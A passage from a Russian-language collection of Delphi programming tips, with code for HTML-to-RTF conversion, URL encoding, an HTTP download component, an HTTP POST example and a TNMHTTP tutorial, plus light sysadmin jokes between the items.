jpeg.SaveToFile (jpegFQFilename);
finally
jpeg.free;
sourceBitmap.free ;
targetBitmap.free;
end;
except
// errors
end;
end;
|
Преобразование HTML в RTF.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{ HTML to RTF by Falk Schulze }
procedure HTMLtoRTF(html: string; var rtf: TRichedit);
var
i, dummy, row: Integer;
cfont: TFont; { Standard sschrift }
Tag, tagparams: string;
params: TStringList;
function GetTag(s: string; var i: Integer; var Tag, tagparams: string): Boolean;
var
a_tag: Boolean;
begin
GetTag := False;
Tag := '';
tagparams := '';
a_tag := False;
while i <= Length(s) do
begin
Inc(i);
// es wird nochein tag geoffnet --> das erste war kein tag;
if s[i] = '<' then
begin
GetTag := False;
Exit;
end;
if s[i] = '>' then
begin
GetTag := True;
Exit;
end;
if not a_tag then
begin
if s[i] = ' ' then
begin
if Tag <> '' then a_tag := True;
end
else
Tag := Tag + s[i];
end
else
tagparams := tagparams + s[i];
end;
end;
procedure GetTagParams(tagparams: string; var params: TStringList);
var
i: Integer;
s: string;
gleich: Boolean;
// kontrolliert ob nach dem zeichen bis zum nachsten zeichen ausser
// leerzeichen ein Ist-Gleich-Zeichen kommt
function notGleich(s: string; i: Integer): Boolean;
begin
notGleich := True;
while i <= Length(s) do
begin
Inc(i);
if s[i] = '=' then
begin
notGleich := False;
Exit;
end
else if s[i] <> ' ' then Exit;
end;
end;
begin
Params.Clear;
s := '';
for i := 1 to Length(tagparams) do
begin
if (tagparams[i] <> ' ') then
begin
if tagparams[i] <> '=' then gleich := False;
if (tagparams[i] <> '''') and (tagparams[i] <> '"') then s := s + tagparams[i]
end
else
begin
if (notGleich(tagparams, i)) and (not Gleich) then
begin
params.Add(s);
s := '';
end
else
Gleich := True;
end;
end;
params.Add(s);
end;
function HtmlToColor(Color: string): TColor;
begin
Result := StringToColor('$' + Copy(Color, 6, 2) + Copy(Color, 4,
2) + Copy(Color, 2, 2));
end;
procedure TransformSpecialChars(var s: string; i: Integer);
var
c: string;
z, z2: Byte;
i2: Integer;
const
nchars = 9;
chars: array[1..nchars, 1..2] of string =
(('O', 'O'), ('o', 'o'), ('A', 'A'), ('a', 'a'),
('U', 'U'), ('u', 'u'), ('?', '?'), ('<', '<'),
('>', '>'));
begin
// Maximal die nachsten 7 zeichen auf sonderzeichen uberprufen
c := '';
i2 := i;
for z := 1 to 7 do
begin
c := c + s[i2];
for z2 := 1 to nchars do
begin
if chars[z2, 1] = c then
begin
Delete(s, i, Length(c));
Insert(chars[z2, 2], s, i);
Exit;
end;
end;
Inc(i2);
end;
end;
// HtmlTag Schriftgro?e in pdf gro?e umwandeln
function CalculateRTFSize(pt: Integer): Integer;
begin
case pt of
1: Result := 6;
2: Result := 9;
3: Result := 12;
4: Result := 15;
5: Result := 18;
6: Result := 22;
else
Result := 30;
end;
end;
// Die Font-Stack Funktionen
type
fontstack = record
Font: array[1..100] of tfont;
Pos: Byte;
end;
procedure CreateFontStack(var s: fontstack);
begin
s.Pos := 0;
end;
procedure PushFontStack(var s: Fontstack; fnt: TFont);
begin
Inc(s.Pos);
s.Font[s.Pos] := TFont.Create;
s.Font[s.Pos].Assign(fnt);
end;
procedure PopFontStack(var s: Fontstack; var fnt: TFont);
begin
if (s.Font[s.Pos] <> nil) and (s.Pos > 0) then
begin
fnt.Assign(s.Font[s.Pos]);
// vom stack nehmen
s.Font[s.Pos].Free;
Dec(s.Pos);
end;
end;
procedure FreeFontStack(var s: Fontstack);
begin
while s.Pos > 0 do
begin
s.Font[s.Pos].Free;
Dec(s.Pos);
end;
end;
var
fo_cnt: array[1..1000] of tfont;
fo_liste: array[1..1000] of Boolean;
fo_pos: TStringList;
fo_stk: FontStack;
wordwrap, liste: Boolean;
begin
CreateFontStack(fo_Stk);
fo_Pos := TStringList.Create;
rtf.Lines.BeginUpdate;
rtf.Lines.Clear;
// Das wordwrap vom richedit merken
wordwrap := rtf.wordwrap;
rtf.WordWrap := False;
// erste Zeile hinzufugen
rtf.Lines.Add('');
Params := TStringList.Create;
cfont := TFont.Create;
cfont.Assign(rtf.Font);
i := 1;
row := 0;
Liste := False;
// Den eigentlichen Text holen und die Formatiorung merken
rtf.selstart := 0;
if Length(html) = 0 then Exit;
repeat;
if html[i] = '<' then
begin
dummy := i;
GetTag(html, i, Tag, tagparams);
GetTagParams(tagparams, params);
// Das Font-Tag
if Uppercase(Tag) = 'FONT' then
begin
// Schrift auf fontstack sichern
pushFontstack(fo_stk, cfont);
if params.Values['size'] <> '' then
cfont.Size := CalculateRTFSize(StrToInt(params.Values['size']));
if params.Values['color'] <> '' then cfont.Color :=
htmltocolor(params.Values['color']);
end
else if Uppercase(Tag) = '/FONT' then popFontstack(fo_stk, cfont)
else // Die H-Tags-Uberschriften
if Uppercase(Tag) = 'H1' then
begin
// Schrift auf fontstack sichern
pushFontstack(fo_stk, cfont);
cfont.Size := 6;
end
else if Uppercase(Tag) = '/H1' then popFontstack(fo_stk, cfont)
else // Die H-Tags-Uberschriften
if Uppercase(Tag) = 'H2' then
begin
// Schrift auf fontstack sichern
pushFontstack(fo_stk, cfont);
cfont.Size := 9;
end
else if Uppercase(Tag) = '/H2' then popFontstack(fo_stk, cfont)
else // Die H-Tags-Uberschriften
if Uppercase(Tag) = 'H3' then
begin
// Schrift auf fontstack sichern
pushFontstack(fo_stk, cfont);
cfont.Size := 12;
end
else if Uppercase(Tag) = '/H3' then popFontstack(fo_stk, cfont)
else // Die H-Tags-Uberschriften
if Uppercase(Tag) = 'H4' then
begin
// Schrift auf fontstack sichern
pushFontstack(fo_stk, cfont);
cfont.Size := 15;
end
else if Uppercase(Tag) = '/H4' then popFontstack(fo_stk, cfont)
else // Die H-Tags-Uberschriften
if Uppercase(Tag) = 'H5' then
begin
// Schrift auf fontstack sichern
pushFontstack(fo_stk, cfont);
cfont.Size := 18;
end
else if Uppercase(Tag) = '/H5' then popFontstack(fo_stk, cfont)
else // Die H-Tags-Uberschriften
if Uppercase(Tag) = 'H6' then
begin
// Schrift auf fontstack sichern
pushFontstack(fo_stk, cfont);
cfont.Size := 22;
end
else if Uppercase(Tag) = '/H6' then popFontstack(fo_stk, cfont)
else // Die H-Tags-Uberschriften
if Uppercase(Tag) = 'H7' then
begin
// Schrift auf fontstack sichern
pushFontstack(fo_stk, cfont);
cfont.Size := 27;
end
else if Uppercase(Tag) = '/H7' then popFontstack(fo_stk, cfont)
else // Bold-Tag
if Uppercase(Tag) = 'B' then cfont.Style := cfont.Style + [fsbold]
else if Uppercase(Tag) = '/B' then cfont.Style := cfont.Style - [fsbold]
else // Italic-Tag
if Uppercase(Tag) = 'I' then cfont.Style := cfont.Style + [fsitalic]
else if Uppercase(Tag) = '/I' then cfont.Style := cfont.Style - [fsitalic]
else // underline-Tag
if Uppercase(Tag) = 'U' then cfont.Style := cfont.Style + [fsunderline]
else if Uppercase(Tag) = '/U' then cfont.Style := cfont.Style - [fsunderline]
else // underline-Tag
if Uppercase(Tag) = 'UL' then liste := True
else if Uppercase(Tag) = '/UL' then
begin
liste := False;
rtf.Lines.Add('');
Inc(row);
rtf.Lines.Add('');
Inc(row);
end
else // BR - Breakrow tag
if (Uppercase(Tag) = 'BR') or (Uppercase(Tag) = 'LI') then
begin
rtf.Lines.Add('');
Inc(row);
end;
// unbekanntes tag als text ausgeben
// else rtf.Lines[row]:=RTF.lines[row]+'<'+tag+' '+tagparams+'>';
fo_pos.Add(IntToStr(rtf.selstart));
fo_cnt[fo_pos.Count] := TFont.Create;
fo_cnt[fo_pos.Count].Assign(cfont);
fo_liste[fo_pos.Count] := liste;
end
else
begin
// Spezialzeichen ubersetzen
if html[i] = '&' then Transformspecialchars(html, i);
if (Ord(html[i]) <> 13) and (Ord(html[i]) <> 10) then
rtf.Lines[row] := RTF.Lines[row] + html[i];
end;
Inc(i);
until i >= Length(html);
// dummy eintragen
fo_pos.Add('999999');
// Den fertigen Text formatieren
for i := 0 to fo_pos.Count - 2 do
begin
rtf.SelStart := StrToInt(fo_pos[i]);
rtf.SelLength := StrToInt(fo_pos[i + 1]) - rtf.SelStart;
rtf.SelAttributes.Style := fo_cnt[i + 1].Style;
rtf.SelAttributes.Size := fo_cnt[i + 1].Size;
rtf.SelAttributes.Color := fo_cnt[i + 1].Color;
// die font wieder freigeben;
fo_cnt[i + 1].Free;
end;
// die Paragraphen also Listen setzen
i := 0;
while i <= fo_pos.Count - 2 do
begin
if fo_liste[i + 1] then
begin
rtf.SelStart := StrToInt(fo_pos[i + 1]);
while fo_liste[i + 1] do Inc(i);
rtf.SelLength := StrToInt(fo_pos[i - 1]) - rtf.SelStart;
rtf.Paragraph.Numbering := nsBullet;
end;
Inc(i);
end;
rtf.Lines.EndUpdate;
Params.Free;
cfont.Free;
rtf.WordWrap := wordwrap;
FreeFontStack(fo_stk);
end;
HTTP кодирование строки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function HTTPEncode(const AStr: string): string;
const
NoConversion = ['A'..'Z', 'a'..'z', '*', '@', '.', '_', '-'];
var
Sp, Rp: PChar;
begin
SetLength(Result, Length(AStr) * 3);
Sp := PChar(AStr);
Rp := PChar(Result);
while Sp^ <> #0 do
begin
if Sp^ in NoConversion then
Rp^ := Sp^
else if Sp^ = ' ' then
Rp^ := '+'
else
begin
FormatBuf(Rp^, 3, '%%%.2x', 6, [Ord(Sp^)]);
Inc(Rp, 2);
end;
Inc(Rp);
Inc(Sp);
end;
SetLength(Result, Rp - PChar(Result));
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Edit1.Text := HTTPEncode(Edit1.Text);
end;
Пример HTTP Get - загружаем файлы и страницы из Интернета.
| Встречаются два сис-админа. Один жалуется: - Ну совсем рехнулся со своей работой. Вчера шел к тебе, набрал на домофоне 192.168... Никто не откликнулся, ну я и ушел... Второй отвечает: - А ты не пробовал: 255.255.255.255? |
{*************************************************************}
{ HTTPGet component for Delphi 32 }
{ Version: 1.94 }
{ E-Mail: info@utilmind.com }
{ WWW: http://www.utilmind.com }
{ Created: October 19, 1999 }
{ Modified: June 6, 2000 }
{ Legal: Copyright (c) 1999-2000, UtilMind Solutions }
{*************************************************************}
{ PROPERTIES: }
{ Agent: String - User Agent }
{ }
{* BinaryData: Boolean - This setting specifies which type }
{* of data will taken from the web. }
{* If you set this property TRUE then }
{* component will determinee the size }
{* of files *before* getting them from }
{* the web. }
{* If this property is FALSE then as we}
{* do not knows the file size the }
{* OnProgress event will doesn't work. }
{* Also please remember that is you set}
{* this property as TRUE you will not }
{* capable to get from the web ASCII }
{* data and ofter got OnError event. }
{ }
{ FileName: String - Path to local file to store the data }
{ taken from the web }
{ Password, UserName - set this properties if you trying to }
{ get data from password protected }
{ directories. }
{ Referer: String - Additional data about referer document }
{ URL: String - The url to file or document }
{ UseCache: Boolean - Get file from the Internet Explorer's }
{ cache if requested file is cached. }
{*************************************************************}
{ METHODS: }
{ GetFile - Get the file from the web specified in the URL }
{ property and store it to the file specified in }
{ the FileName property }
{ GetString - Get the data from web and return it as usual }
{ String. You can receive this string hooking }
{ the OnDoneString event. }
{ Abort - Stop the current session }
{*************************************************************}
{ EVENTS: }
{ OnDoneFile - Occurs when the file is downloaded }
{ OnDoneString - Occurs when the string is received }
{ OnError - Occurs when error happend }
{ OnProgress - Occurs at the receiving of the BINARY DATA }
{*************************************************************}
{ Please see demo program for more information. }
{*************************************************************}
{ IMPORTANT NOTE: }
{ This software is provided 'as-is', without any express or }
{ implied warranty. In no event will the author be held }
{ liable for any damages arising from the use of this }
{ software. }
{ Permission is granted to anyone to use this software for }
{ any purpose, including commercial applications, and to }
{ alter it and redistribute it freely, subject to the }
{ following restrictions: }
{ 1. The origin of this software must not be misrepresented, }
{ you must not claim that you wrote the original software. }
{ If you use this software in a product, an acknowledgment }
{ in the product documentation would be appreciated but is }
{ not required. }
{ 2. Altered source versions must be plainly marked as such, }
{ and must not be misrepresented as being the original }
{ software. }
{ 3. This notice may not be removed or altered from any }
{ source distribution. }
{*************************************************************}
unit HTTPGet;
interface
uses
Windows, Messages, SysUtils, Classes, WinInet;
type
TOnProgressEvent = procedure(Sender: TObject; TotalSize, Readed: Integer) of object;
TOnDoneFileEvent = procedure(Sender: TObject; FileName: String; FileSize: Integer) of object;
TOnDoneStringEvent = procedure(Sender: TObject; Result: String) of object;
THTTPGetThread = class(TThread)
private
FTAcceptTypes,
FTAgent,
FTURL,
FTFileName,
FTStringResult,
FTUserName,
FTPassword,
FTPostQuery,
FTReferer: String;
FTBinaryData,
FTUseCache: Boolean;
FTResult: Boolean;
FTFileSize: Integer;
FTToFile: Boolean;
BytesToRead, BytesReaded: DWord;
FTProgress: TOnProgressEvent;
procedure UpdateProgress;
protected
procedure Execute; override;
public
constructor Create(aAcceptTypes, aAgent, aURL, aFileName, aUserName, aPassword,
aPostQuery, aReferer: String; aBinaryData, aUseCache:
Boolean; aProgress: TOnProgressEvent; aToFile: Boolean);
end;
THTTPGet = class(TComponent)
private
FAcceptTypes: String;
FAgent: String;
FBinaryData: Boolean;
FURL: String;
FUseCache: Boolean;
FFileName: String;
FUserName: String;
FPassword: String;
FPostQuery: String;
FReferer: String;
FWaitThread: Boolean;
FThread: THTTPGetThread;
FError: TNotifyEvent;
FResult: Boolean;
FProgress: TOnProgressEvent;
FDoneFile: TOnDoneFileEvent;
FDoneString: TOnDoneStringEvent;
procedure ThreadDone(Sender: TObject);
public
constructor Create(aOwner: TComponent); override;
destructor Destroy; override;
procedure GetFile;
procedure GetString;
procedure Abort;
published
property AcceptTypes: String read FAcceptTypes write FAcceptTypes;
property Agent: String read FAgent write FAgent;
property BinaryData: Boolean read FBinaryData write FBinaryData;
property URL: String read FURL write FURL;
property UseCache: Boolean read FUseCache write FUseCache;
property FileName: String read FFileName write FFileName;
property UserName: String read FUserName write FUserName;
property Password: String read FPassword write FPassword;
property PostQuery: String read FPostQuery write FPostQuery;
property Referer: String read FReferer write FReferer;
property WaitThread: Boolean read FWaitThread write FWaitThread;
property OnProgress: TOnProgressEvent read FProgress write FProgress;
property OnDoneFile: TOnDoneFileEvent read FDoneFile write FDoneFile;
property OnDoneString: TOnDoneStringEvent read FDoneString write FDoneString;
property OnError: TNotifyEvent read FError write FError;
end;
procedure Register;
implementation
// THTTPGetThread
constructor THTTPGetThread.Create(aAcceptTypes, aAgent, aURL, aFileName, aUserName,
aPassword, aPostQuery, aReferer: String; aBinaryData, aUseCache:
Boolean; aProgress: TOnProgressEvent; aToFile: Boolean);
begin
FreeOnTerminate := True;
inherited Create(True);
FTAcceptTypes := aAcceptTypes;
FTAgent := aAgent;
FTURL := aURL;
FTFileName := aFileName;
FTUserName := aUserName;
FTPassword := aPassword;
FTPostQuery := aPostQuery;
FTReferer := aReferer;
FTProgress := aProgress;
FTBinaryData := aBinaryData;
FTUseCache := aUseCache;
FTToFile := aToFile;
Resume;
end;
procedure THTTPGetThread.UpdateProgress;
begin
FTProgress(Self, FTFileSize, BytesReaded);
end;
procedure THTTPGetThread.Execute;
var
hSession, hConnect, hRequest: hInternet;
HostName, FileName: String;
f: File;
Buf: Pointer;
dwBufLen, dwIndex: DWord;
Data: Array[0..$400] of Char;
TempStr: String;
RequestMethod: PChar;
InternetFlag: DWord;
AcceptType: LPStr;
procedure ParseURL(URL: String; var HostName, FileName: String);
procedure ReplaceChar(c1, c2: Char; var St: String);
var
p: Integer;
begin
while True do
begin
p := Pos(c1, St);
if p = 0 then Break
else St[p] := c2;
end;
end;
var
i: Integer;
begin
if Pos('http://', LowerCase(URL)) <> 0 then
System.Delete(URL, 1, 7);
i := Pos('/', URL);
HostName := Copy(URL, 1, i);
FileName := Copy(URL, i, Length(URL) - i + 1);
if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
SetLength(HostName, Length(HostName) - 1);
end;
procedure CloseHandles;
begin
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
end;
begin
try
ParseURL(FTURL, HostName, FileName);
if Terminated then
begin
FTResult := False;
Exit;
end;
if FTAgent <> '' then
hSession := InternetOpen(PChar(FTAgent),
INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0)
else
hSession := InternetOpen(nil,
INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
hConnect := InternetConnect(hSession, PChar(HostName),
INTERNET_DEFAULT_HTTP_PORT, PChar(FTUserName), PChar(FTPassword), INTERNET_SERVICE_HTTP, 0, 0);
if FTPostQuery = '' then RequestMethod := 'GET'
else RequestMethod := 'POST';
if FTUseCache then InternetFlag := 0
else InternetFlag := INTERNET_FLAG_RELOAD;
AcceptType := PChar('Accept: ' + FTAcceptTypes);
hRequest := HttpOpenRequest(hConnect, RequestMethod, PChar(FileName), 'HTTP/1.0',
PChar(FTReferer), @AcceptType, InternetFlag, 0);
if FTPostQuery = '' then
HttpSendRequest(hRequest, nil, 0, nil, 0)
else
HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
PChar(FTPostQuery), Length(FTPostQuery));
if Terminated then
begin
CloseHandles;
FTResult := False;
Exit;
end;
dwIndex := 0;
dwBufLen := 1024;
GetMem(Buf, dwBufLen);
FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
Buf, dwBufLen, dwIndex);
if Terminated then
begin
FreeMem(Buf);
CloseHandles;
FTResult := False;
Exit;
end;
if FTResult or not FTBinaryData then
begin
if FTResult then
FTFileSize := StrToInt(StrPas(Buf));
BytesReaded := 0;
if FTToFile then
begin
AssignFile(f, FTFileName);
Rewrite(f, 1);
end
else FTStringResult := '';
while True do
begin
if Terminated then
begin
if FTToFile then CloseFile(f);
FreeMem(Buf);
CloseHandles;
FTResult := False;
Exit;
end;
if not InternetReadFile(hRequest, @Data, SizeOf(Data), BytesToRead) then Break
else
if BytesToRead = 0 then Break
else
begin
if FTToFile then
BlockWrite(f, Data, BytesToRead)
else
begin
TempStr := Data;
SetLength(TempStr, BytesToRead);
FTStringResult := FTStringResult + TempStr;
end;
inc(BytesReaded, BytesToRead);
if Assigned(FTProgress) then
Synchronize(UpdateProgress);
end;
end;
if FTToFile then
FTResult := FTFileSize = Integer(BytesReaded)
else
begin
SetLength(FTStringResult, BytesReaded);
FTResult := BytesReaded <> 0;
end;
if FTToFile then CloseFile(f);
end;
FreeMem(Buf);
CloseHandles;
except
end;
end;
// HTTPGet
constructor THTTPGet.Create(aOwner: TComponent);
begin
inherited Create(aOwner);
FAcceptTypes := '*/*';
FAgent := 'UtilMind HTTPGet';
end;
destructor THTTPGet.Destroy;
begin
Abort;
inherited Destroy;
end;
procedure THTTPGet.GetFile;
var
Msg: TMsg;
begin
if not Assigned(FThread) then
begin
FThread := THTTPGetThread.Create(FAcceptTypes, FAgent, FURL, FFileName, FUserName,
FPassword, FPostQuery, FReferer, FBinaryData, FUseCache, FProgress, True);
FThread.OnTerminate := ThreadDone;
if FWaitThread then
while Assigned(FThread) do
while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end
end;
procedure THTTPGet.GetString;
var
Msg: TMsg;
begin
if not Assigned(FThread) then
begin
FThread := THTTPGetThread.Create(FAcceptTypes, FAgent, FURL, FFileName, FUserName,
FPassword, FPostQuery, FReferer, FBinaryData, FUseCache, FProgress, False);
FThread.OnTerminate := ThreadDone;
if FWaitThread then
while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end
end;
procedure THTTPGet.Abort;
begin
if Assigned(FThread) then
begin
FThread.Terminate;
FThread.FTResult := False;
end;
end;
procedure THTTPGet.ThreadDone(Sender: TObject);
begin
FResult := FThread.FTResult;
if FResult then
if FThread.FTToFile then
if Assigned(FDoneFile) then FDoneFile(Self, FThread.FTFileName, FThread.FTFileSize) else
else
if Assigned(FDoneString) then FDoneString(Self, FThread.FTStringResult) else
else
if Assigned(FError) then FError(Self);
FThread := nil;
end;
procedure Register;
begin
RegisterComponents('UtilMind', [THTTPGet]);
end;
end.
|
Вывести результат запроса HTTP Post.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses IdMultipartFormData;
{ .... }
procedure TForm1.Button1Click(Sender: TObject);
var
data: TIdMultiPartFormDataStream;
begin
data := TIdMultiPartFormDataStream.Create;
try
{ add the used parameters for the script }
data.AddFormField('param1', 'value1');
data.AddFormField('param2', 'value2');
data.AddFormField('param3', 'value3');
{ Call the Post method of TIdHTTP and read the result into TMemo }
Memo1.Lines.Text := IdHTTP1.Post('http://localhost/script.php', data);
finally
data.Free;
end;
end;
Работа с HTTP протоколом.
| Ищу крэк к DEEP BLUE. Каспаров. |
В связи с все большим вниманием, которое привлекает к себе Интернет, все больше людей становятся заинтересованы в сетевых технологиях. Данная статья посвящена программированию на Borland Delphi с использованием одного из самых популярных Интернет-протоколов - HTTP.
А именно, здесь мы рассмотрим компонент TNMHTTP (NetMasters HTTP), который можно обнаружить на вкладке FastNet палитры компонентов Дельфи.
Начнем с теории. Если Вы уже знаете, что такое HTTP и зачем он нужен, то пропустите следующий раздел.
Зачем нужен HTTP
Итак, где же используется HTTP? Если Вы хотя бы чуть-чуть заглядывали на Интернет-странички и встречались с термином Web, то наверняка обратили внимание на то, что адреса страничек, как правило, начинаются с http://. Протокол HTTP (HyperText Transfer Protocol) позволяет принимать и посылать не только гипертекстовые документы (типа html), но и любые другие (тексты (txt), изображения (gif, jpg), и т.д.). Ниже приведены типовые задачи, для выполнения которых необходимо использовать HTTP:
Браузеры - программы, позволяющие просматривать Интернет-странички; Скачивальщики - программы, позволяющие скачивать из Интернета странички, рисунки и другие документы; Чаты - программы, позволяющие общаться по сети. Часто документы HTTP используются для хранения сообщений (как, например, в конференциях).Это лишь список некоторых из стандартных направлений программирования с использованием HTTP. Вы можете применять этот протокол для любых своих целей. Например, автоматические системы обновления данных, посылка запросов в Интернетовские базы, и еще множество всяческих других возможностей!
Краткое описание свойств, методов и событий
Ниже приведена таблица, содержащая наиболее краткое описание основных свойств, методов и событий компонента TNMHTTP:
Свойства.
Body строка, содержащая либо путь к файлу, в который будет записано тело http-документа (если св-во InputFileMode равно True), либо непосредственно само тело (если св-во InputFileMode равно False). Тип: string; Header строка, содержащая либо путь к файлу, в который будет записан заголовок http-документа (если св-во InputFileMode равно True), либо непосредственно сам заголовок (если св-во InputFileMode равно False). Тип: string; HeaderInfo структура, содержащая различную информацию о http-документе (подробней см. в help-файле). Тип: THeaderInfo; InputFileMode тип записи результата. Значение True - запись в файлы, указанные в свойствах Body и Header, False - запись в сами эти свойства. Тип: Boolean; OutputFileMode тип отсылаемых данных (методами Put, Post и Trace). Значение True - данные для отправки содержатся в файлах, указанных при вызове этих методов, а False - в самих аргументах этих методов. Тип: Boolean;Далее некоторые свойства, унаследованные от TPowerSock:
BytesRecvd, BytesSent, BytesTotal количество отправленных, принятых и общее количество байтов соотвественно. Тип: LongInt; Connected показывает, установленно ли в данный момент соединение. Тип: Boolean; BeenCanceled показывает, было ли прервано соединение с сервером. Тип: Boolean; Host строка, содержащая хост-имя удаленного компьютера. Заполнять не надо, так как это свойство устанавливается автоматически при вызове методов Get, Put, Post и т.д. Тип: string. Port - Integer, содержащий порт удаленного компьютера (заполняется тоже автоматически); TimeOut таймаут в миллисекундах. Тип: Integer;Еще есть множество свойств, но я пока остановлюсь на уже перечисленных. За дополнительной информацией обращайтесь к help-у по Дельфи.
Методы:
Get(URL: string) посылает запрос на указанный URL. Данные после выполнения этого запроса записываются в файлы или в сами свойства Body и Header (в зависимости от значения свойства InputFileMode); Head(URL: string) посылает запрос на указанный URL. Данные после выполнения этого запроса записываются в файл или в само свойство Header (в зависимости от значения свойства InputFileMode). В отличие от метода Get, при вызове Head запрос отсылается только на заголовок http-документа; Post(URL, PostData: string) посылает запрос на изменение http-документа (с адресом URL) на данные, содержащиеся в параметре PostData. Если OutputFileMode равен True, то в PostData должен содержаться путь к файлу, содержащему нужные данные. Put(URL, PutData: string) посылает запрос на создание http-документа (с адресом URL), содержащего данные, переданные в параметре PutData. Если OutputFileMode равен True, то в PostData должен содержаться путь к файлу, содержащему нужные данные. Trace(URL, TraceData: string) посылает запрос на получение отладочных данных (для отладки соединения с HTTP-сервером). Данные для запроса нужно указать в параметре TraceData. Если OutputFileMode равен True, то в TraceData должен содержаться путь к файлу, содержащему нужные данные. Delete(URL: string) посылает запрос на удаление http-документа (с адресом URL).Далее некоторые методы, унаследованные от TPowerSock:
Abort и Cancel прерывают соединение и обмен данными; Disconnect отсоединение от HTTP-сервера;События.
OnAuthenticationNeeded возникает, когда сервер требует указания имени пользователя и пароля. В обработчике этого события (если оно возникнет) Вы должны ответить серверу, запонив нужными значениями соответствующие переменные. Примечание: Перед установлением соединения можно сразу заполнить поля UserID и Password в свойстве HeaderInfo; OnAboutToSend возникает, когда компонент TNMHTTP собирается отправлять данные (запрос). В обработчике этого события можно заполнить дополнительной информацией свойство SendHeader; OnFailure возникает, когда текущая операция завершилась неудачно, т.е. произошла ошибка; OnRedirect возникает, сервер переадресовал ссылку с указанной URL на другую ссылку. Установив параметр handled в значение True можно запретить переадресацию и остановиться на запрошенной URL. Значение по умолчанию - False; OnSuccess возникает, когда текущая операция завершилась успешно, т.е. запрос был выполнен без ошибок;Далее некоторые методы, унаследованные от TPowerSock:
OnConnect возникает, когда соединение с сервером успешно установлено; OnDisconnect возникает, когда соединение с сервером завершено; OnConnectionFailed возникает, когда соединение с сервером установить не удалось; OnError возникает, когда последняя операция была завершена с ошибкой; OnHostResolved возникает, когда от DNS получен IP-адрес указанного хоста; OnInvalidHost возникает, когда DNS вернул ошибку при попытке определить IP-адрес указанного хоста; OnPacketRecvd возникает, когда значения свойств BytesRecvd и BytesTotal изменены, т.е. была принята новая порция данных от сервера; OnPacketSent возникает, когда значения свойств BytesSent и BytesTotal изменены, т.е. была отправлена новая порция данных на сервер; OnStatus возникает, когда статус компонента был изменен (для обновления визуального оповещения пользователя);Практика и примеры
Ну а теперь приступим к самому главному методу изучения - на примерах.
И самый первый пример - программа, позволяющая определить, существует ли заданный URL:
Пример 1. Проверка существования указанной URL.
{... Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1}
{В форму нужно поместить кнопку TButton и одно поле TEdit. При нажатии на
кнопку вызывается обработчик события OnClick - Button1Click. Перед этим в
TEdit нужно ввести адрес URL. НЕ ЗАБУДЬТЕ ПОМЕСТИТЬ В ФОРМУ КОМПОНЕНТ TNMHTTP!}
procedure Button1Click(Sender: TObject);
begin
{Пытаемя получить заголовок}
NMHTTP1.Head(Edit1.Text);
{Если URL неверный, то здесь выскочит ошибка}
end;
|
Следующий пример - скачивание сразу нескольких URL одновременно. Надо заметить, что многие программисты пренебрегают многозадачностью Windows (неважно, как она реализована, речь сейчас не об этом). В Дельфи очень легко создавать отдельные, подчиненные Вашей программе процессы (а точнее - потоки) с помощью базового класса TThread. Но об этом мы поговорим в другой раз (в другой статье).
Пример 2. Одновременное скачивание указанных URL в заданный каталог.
// Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1
// Описание класса отдельного процесса
type
THTTPThread = class(TThread)
private
{Для каждого процесса - создаем свой компонент TNMHTTP}
FHTTP: TNMHTTP;
protected
// Execute вызывается при запуске процесса; override - заменяем
// существующую процедуру базового класса TThread
procedure Execute; override;
// DoWork - созданная нами функция, выполнение которой синхронизируется в Execute
procedure DoWork;
public
// URL - созданная нами строка, указывающая процессу, какой URL ему нужно скачать
URL: string;
end;
// В форму нужно поместить три кнопки TButton, одно поле TEdit и один список
// TListBox. При нажатии на кнопку Button1 вызывается обработчик события
// OnClick - Button1Click. Перед этим в TEdit нужно ввести путь к каталогу, в
// котором будут храниться скачанные файлы, а ListBox1 нужно заполнить списком
// URL-ов для скачивания (с помощью кнопок Add (Button2) и Delete (Button3)).
procedure TForm1.Button3Click(Sender: TObject);
begin
{Удаление выделенного URL из списка}
if ListBox1.ItemIndex >= 0 then
ListBox1.Items.Delete(ListBox1.ItemIndex);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
s: string;
begin
{Добавление URL в список}
s := InputBox('Добавить','Введите URL:','');
if s <> '' then
ListBox1.Items.Add(s);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
i: Integer;
begin
{Проверка на существование каталога}
if Length(Edit1.Text) > 0 then
if not DirectoryExists(Edit1.Text) then
MkDir(Edit1.Text);
{Далее идет создание для каждого URL в списке своего процесса}
for i := 0 to ListBox1.Items.Count-1 do
begin
with THTTPThread.Create(True) do
begin
{Создаем приостановленную задачу, указываем ей ее URL и запускаем ее}
URL := ListBox1.Items[i];
Resume;
end;
end;
end;
// Операторы процесса THTTPThread
procedure THTTPThread.Execute;
begin
// Делаем так, чтобы каждый процесс выполнялся одновременно с другими (синхронизация)}
Synchronize(DoWork);
end;
procedure THTTPThread.DoWork;
var
i: Integer;
begin
{Создаем компонент TNMHTTP}
FHTTP := TNMHTTP.Create(Form1);
{Результат надо записывать в файлы}
FHTTP.InputFileMode := True;
{Подбираем имена для файлов}
i := 1;
while FileExists(Form1.Edit1.Text+'\page'+IntToStr(i)+'.htm') do
Inc(i);
{Указываем, в какие именно файлы класть результат}
FHTTP.Body := Form1.Edit1.Text+'\body'+IntToStr(i)+'.htm';
FHTTP.Header := Form1.Edit1.Text+'\header'+IntToStr(i)+'.txt';
{Пытаемся послать запрос}
FHTTP.Get(URL);
{Перед завершением процесса не забываем освободить память из-под компонента}
FHTTP.Free;
end;
|
